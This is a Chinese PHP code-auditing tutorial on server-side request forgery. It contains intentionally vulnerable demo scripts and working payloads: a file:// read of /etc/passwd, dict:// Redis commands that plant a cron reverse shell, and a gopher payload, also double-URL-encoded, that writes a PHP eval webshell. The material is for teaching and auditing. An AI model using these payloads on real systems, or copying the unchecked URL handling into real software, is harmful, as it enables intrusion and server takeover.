PHP代码审计之WEB安全系列基础文章(六)之SSRF篇

【如需转载,请详细表明来源,请勿设置原创】

嗨,大家好,我是闪石星曜CyberSecurity创始人Power7089。

欢迎大家扫描下方二维码关注 “闪石星曜CyberSecurity” 公众号,这里专注分享渗透测试,Java代码审计,PHP代码审计等内容,都是非常干的干货哦。

公众号

今天为大家带来PHP代码审计基础系列文章第六篇之SSRF篇

这是【炼石计划@PHP代码审计】知识星球第二阶段的原创基础系列文章,拿出部分课程分享给零基础的朋友学习。本系列原创基础文章涵盖了PHP代码审计中常见的十余种WEB漏洞,是匹夫老师精心的创作,欢迎关注我的公众号跟着一起学习。

【炼石计划@PHP代码审计】是一个系统化从入门到提升学习PHP代码审计的成长型知识星球。这里不仅注重夯实基础,更加专注实战进阶。强烈推荐加入我们,一起来实战提升PHP代码审计。

公众号

PHP代码审计之SSRF(服务端请求伪造)

1.SSRF原理

Web服务器经常需要从别的服务器获取数据,比如文件载入、图片拉取、图片识别等功能,如果获取数据的服务器地址可控,攻击者就可以通过web服务器自定义向别的服务器发出请求。因为Web服务器常搭建在DMZ区域,因此常被攻击者当作跳板,向内网服务器发出请求。

image-20220712001548704

2.SSRF危害

① 内网信息收集(如Web服务指纹识别、端口扫描、主机信息探测等)

② 通过构造payload攻击内网以及互联网应用(如Redis、tomcat、fastcgi、Memcache)

③ 通过伪协议进行攻击(file、dict、gopher、http、https、telnet、ldap等)

3.SSRF危险函数

SSRF危险函数在PHP中大致有这么几个:

curl_exec()、file_get_content()、fopen()、fsockopen()

curl_exec()

一般使用该函数发起请求会用到libcurl库,该库支持如下协议http、https、ftp、gopher、telnet、dict、file和ldap协议。

image-20220711171940664

libcurl库同 时也支持HTTPS认证、HTTP POST、HTTP PUT、 FTP 上传(这个也能通过PHP的FTP扩展完成)、HTTP 基于表单的上传、代理、cookies和用户名+密码的认证。

PHP中使用cURL实现Get和Post请求的方法

1
2
3
4
5
6
7
8
9
10
定义和用法:
curl_exec — 执行一个cURL会话

语法:
mixed curl_exec ( resource $ch )
执行给定的cURL会话。这个函数应该在初始化一个cURL会话并且全部的选项都被设置后被调用。
$ch 由 curl_init() 返回的 cURL 句柄。

返回值:
成功时返回 TRUE, 或者在失败时返回 FALSE。 然而,如果 CURLOPT_RETURNTRANSFER选项被设置,函数执行成功时会返回执行的结果,失败时返回 FALSE 。

代码示例:

demo.php

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
<?php
highlight_file(__FILE__); //该代码的作用只是在前端高亮显示后端代码
header("Content-Type: text/html; charset=utf-8");

$url = $_REQUEST['url'];
// 创建一个cURL资源
$ch = curl_init(); //初始化一个curl会话

// 设置URL和相应的选项,更多选项可在phpstorm中使用使用Ctrl+左键点击参数项进行查看
curl_setopt($ch, CURLOPT_URL, $url); //获取url传递的参数
curl_setopt($ch, CURLOPT_HEADER, false);
curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false);
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, true); //如果不开启此选项则默认不跟随302跳转,除非代码中有Location
curl_setopt($ch, CURLOPT_RETURNTRANSFER,0); //如果此选项被设置为FALSE,函数执行时会返回执行结果,如果为true的话需要使用echo等函数进行输出

//执行一个curl会话
curl_exec($ch);

// 关闭cURL资源,并且释放系统资源
curl_close($ch);
//echo $res;
?>

我们传入url为baidu就可以成功执行一个curl会话并访问baidu

image-20220709111118797

file_get_content()

该函数相较于curl代码更简洁,但是在访问速度以及支持协议来说并没有curl多。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
定义和用法:
该函数把整个文件读入一个字符串中,可获取本地文件也可获取远程文件。
该函数是用于把文件的内容读入到一个字符串中的首选方法。如果服务器操作系统支持,还会使用内存映射技术来增强性能。

语法:
file_get_contents(path,include_path,context,start,max_length)

path 必需。规定要读取的文件。
include_path 可选。如果您还想在 include_path(在 php.ini 中)中搜索文件的话,请设置该参数为 '1'。
context 可选。规定文件句柄的环境。context 是一套可以修改流的行为的选项。若使用 NULL,则忽略。
start 可选。规定在文件中开始读取的位置。该参数是 PHP 5.1 中新增的。
max_length 可选。规定读取的字节数。该参数是 PHP 5.1 中新增的。

返回值:
成功将返回读入的字符串内容,失败则抛出异常。

代码示例:

1
2
3
4
5
6
7
8
<?php
highlight_file(__FILE__); //该代码的作用只是在前端高亮显示后端代码
header("Content-Type: text/html; charset=utf-8");

$url = $_REQUEST['url'];

echo file_get_contents($url); //默认不回显内容需使用echo等函数进行输出
?>

我们传入url为baidu就可以通过echo回显baidu页面内容

image-20220709114510136

fsockopen()

1
2
3
4
5
6
7
8
9
10
11
12
13
定义和用法:
用于打开网络的 Socket 链接。

语法:
int fsockopen(string hostname, int port, int [errno], string [errstr], int [timeout]);
hostname 必填,这里需要填写需要访问主机名或ip地址
port 必填,这里所需填写主机名对应的端口
error_code 必填,这里返回网络中出现的错误号
error_message 必填,根据错误号返回错误信息
timeout 必填,设置网络请求的超时时间

返回值:
成功时返回整数

代码示例:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
<?php
highlight_file(__FILE__); //该代码的作用只是在前端高亮显示后端代码
header("Content-Type: text/html; charset=utf-8");

$url = parse_url($_GET[url]);
//var_dump($url);
$fp = fsockopen("$url[host]", $url[port]?$url[port]:80, $errno, $errstr, 10);
//echo $fp;
if(!$fp)
{
echo "$errstr ($errno)<br>\n";
}
else {
fputs($fp,"GET / HTTP/1.0\nHost: $url[host]\n\n");
while(!feof($fp)) {
echo fgets($fp,128);
}
fclose($fp);
}
?>

parse_url

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
定义及用法:
该函数用于解析整个URL,并返回其组成部分。

语法:
array parse_url ( string url )
url 必填,需要输入需要请求的url地址

返回值:
此函数返回一个关联数组,包含现有 URL 的各种组成部分。如果缺少了其中的某一个,则不会为这个组成部分创建数组项。组成部分为:
scheme - 如 http
host
port
user
pass
path
query - 在问号 ? 之后
fragment - 在散列符号 # 之后
此函数并不意味着给定的 URL 是合法的,它只是将上方列表中的各部分分开。parse_url() 可接受不完整的 URL,并尽量将其解析正确。此函数对相对路径的 URL 不起作用。

通过fput()fget()将内容写入并输出到页面,如果fsockopen()函数中host、port部分参数可控,就有可能造成SSRF。

image-20220709161345759

fopen()

1
2
3
4
5
6
7
8
9
10
11
12
定义和用法:
该函数打开文件或者 URL。

语法:
fopen(filename,mode,include_path,context)
filename 必需。规定要打开的文件或 URL。
mode 必需。规定要求到该文件/流的访问类型。如:r、r+、w、w+、a、a+等。
include_path 可选。如果也需要在 include_path 中检索文件的话,可以将该参数设为 1 或 TRUE。
context 可选。规定文件句柄的环境。Context 是可以修改流的行为的一套选项。

返回值:
如果成功返回文件、url请求内容,如果打开失败,本函数返回 FALSE。

代码示例:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
<?php
highlight_file(__FILE__); //该代码的作用只是在前端高亮显示后端代码
header("Content-Type: text/html; charset=utf-8");

$url = $_GET['url'];
$fp = fopen($url,"r");
if(!$fp)
{
echo "error<br>\n";
}
else {
while (!feof($fp)) {
echo fgets($fp, 128);
}
}
fclose($fp);
?>

当传入的url参数可控时就可能造成SSRF。

image-20220709165048257

4.SSRF中伪协议

file协议

1
其实很简单看到file的就是读取文件 格式:file:///文件路径

HTTP——(hypertext transfer protocol)超文本传输协议

1
2
3
4
5
GET——获取资源;
POST——传输资源;
PUT——更新资源;
DELETE——删除资源;
HEAD——获取报文首部;

dict协议

1
这个协议主要是数组的交互。是一种以键-值对形式存储数据的数据结构,就像电话号码簿中的名字和电话号码一样。这里的键是指你用来查找的东西,值是查找得到的结果

gopher协议

1
2
gopher协议是一种信息查找系统,他将Internet上的文件组织成某种索引,方便用户从Internet的一处带到另一处。在WWW出现之前,Gopher是Internet上最主要的信息检索工具,Gopher站点也是最主要的站点,使用tcp70端口。利用此协议可以攻击内网的
Redis、Mysql、FastCGI、Ftp等等,也可以发送 GET、POST 请求。这拓宽了 SSRF 的攻击面。

sftp协议

1
Sftp代表SSH文件传输协议(SSH File Transfer Protocol),或安全文件传输协议(Secure File Transfer Protocol),这是一种与SSH打包在一起的单独协议,它运行在安全连接上,并以类似的方式进行工作。

ldap://或ldaps:// 或ldapi://协议

1
LDAP代表轻量级目录访问协议。它是IP网络上的一种用于管理和访问分布式目录信息服务的应用程序协议。

5.SSRF漏洞利用

5.1 端口及服务探测

我们还是使用如下代码进行测试

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
<?php
highlight_file(__FILE__); //该代码的作用只是在前端高亮显示后端代码
header("Content-Type: text/html; charset=utf-8");

$url = $_REQUEST['url'];
// 创建一个cURL资源
$ch = curl_init(); //初始化一个curl会话

// 设置URL和相应的选项,更多选项可在phpstorm中使用使用Ctrl+左键点击参数项进行查看
curl_setopt($ch, CURLOPT_URL, $url); //获取url传递的参数
curl_setopt($ch, CURLOPT_HEADER, false);
curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false);
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, true); //如果不开启此选项则默认不跟随302跳转,除非代码中有Location
curl_setopt($ch, CURLOPT_RETURNTRANSFER,0); //如果此选项被设置为FALSE,函数执行时会返回执行结果,如果为true的话需要使用echo等函数进行输出

//执行一个curl会话
curl_exec($ch);

// 关闭cURL资源,并且释放系统资源
curl_close($ch);
//echo $res;
?>

我们可以使用Burp中intruder模块对内网端口进行探测

首先在Intruder模块中将端口设置为变量

image-20220709174255734

image-20220709173803740

通过返回包length长度以及response响应来判断该端口是否开放

image-20220709174710313

5.2 file协议利用

如果代码中存在echo等回显条件我们可以通过file协议来读取本地任意文件,前提条件是知道文件的绝对路径。如果为Linux服务器的话利用方式也是一样的,如:file:///etc/passwd。

image-20220711171307644

5.3 dict协议利用

通过该协议可以查看服务的banner信息,通过收集到的信息扩大攻击面,如:

dict://ip:6379/info查看redis相关信息,如内网搭建了redis,就可使用该协议进行信息收集,从而进一步利用。(dict协议也可通过发送指定命令来达到redis getshell的效果。

image-20220711224053088

1
2
3
4
5
6
7
8
dict://<host>:<port>/命令:参数  这里的:代表命令之间的空格  在redis未授权中可以使用如下命令进行shell获取

dict://127.0.0.1:6379/config:set:dir:/var/spool/cron
dict://127.0.0.1:6379/config:set:dbfilename:root
dict://127.0.0.1:6379/set:1:nn*/1 * * * * bash -i >& /dev/tcp/ip/port 0>&1nn
dict://127.0.0.1:6379/save

详细可参考链接:https://www.cnblogs.com/wjrblogs/p/14456190.html

dict://ip:22/查看ssh相关版本信息

image-20220711224253963

dict://ip:80查看Web服务相关信息

image-20220711224440723

5.4 gopher协议利用

经典组合拳SSRF+redis未授权访问Getshell,记得在之前面试的时候被问到过。

除了使用redis未授权,通过计划任务反弹shell以外,还可以通过redis写入文件,但需要知道该服务器web绝对路径。

redis正常测试

image-20220713142948934

image-20220713143045896

在SSRF中使用gopher协议可以直接向未授权的redis写入shell

payload

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
gopher://192.168.230.138:6379/_
*1
$8
flushall
*3
$3
set
$1
1
$39

<?php @eval($_REQUEST['1ndex']); ?>

*4
$6
config
$3
set
$3
dir
$13
/var/www/html
*4
$6
config
$3
set
$10
dbfilename
$10
shell2.php
*1
$4
save

其中*n代表着一条命令的开始,n 表示该条命令由 n 个字符串组成;$n代表着该字符串有 n 个字符。

由于后端服务器与浏览器分别要对内容进行一次URL解码,所以payload要经过两次URL编码:

1
gopher%3A//xxx.xxx.xxx.xxx%3A6379/_%252A1%250D%250A%25248%250D%250Aflushall%250D%250A%252A3%250D%250A%25243%250D%250Aset%250D%250A%25241%250D%250A1%250D%250A%252439%250D%250A%250A%250A%253C%253Fphp%2520%2540eval%2528%2524_REQUEST%255B%25271ndex%2527%255D%2529%253B%2520%253F%253E%250A%250A%250D%250A%252A4%250D%250A%25246%250D%250Aconfig%250D%250A%25243%250D%250Aset%250D%250A%25243%250D%250Adir%250D%250A%252413%250D%250A/var/www/html%250D%250A%252A4%250D%250A%25246%250D%250Aconfig%250D%250A%25243%250D%250Aset%250D%250A%252410%250D%250Adbfilename%250D%250A%252410%250D%250Ashell2.php%250D%250A%252A1%250D%250A%25244%250D%250Asave%250D%250A

image-20220713144056638

image-20220713144225019

dict与gopher协议最大的不同点在于dict必须依次进行命令的传入而不能一次执行所有命令,而gopher协议则可以一条命令执行所有语句。

6.SSRF代码审计总结

1
2
在PHP代码审计中由于使用上述不安全函数且函数中内容可控导致的SSRF漏洞,在日常审计的过程中如果发现上述函数需多留意函数是否可控,在可控的条件下是否存在某些传参限制以及过滤条件这是需要我们在代码审计中细心观察的。
在利用方法上多尝试利用伪协议来扩大战果以及漏洞危害性,这会在后续第四阶段实战项目中给大家进行实战分析利用。

PHP代码审计之WEB安全系列基础文章(六)之SSRF篇
http://example.com/2022/10/10/PHP代码审计之WEB安全系列基础文章(六)之SSRF篇/
作者
Power7089
发布于
2022年10月10日
许可协议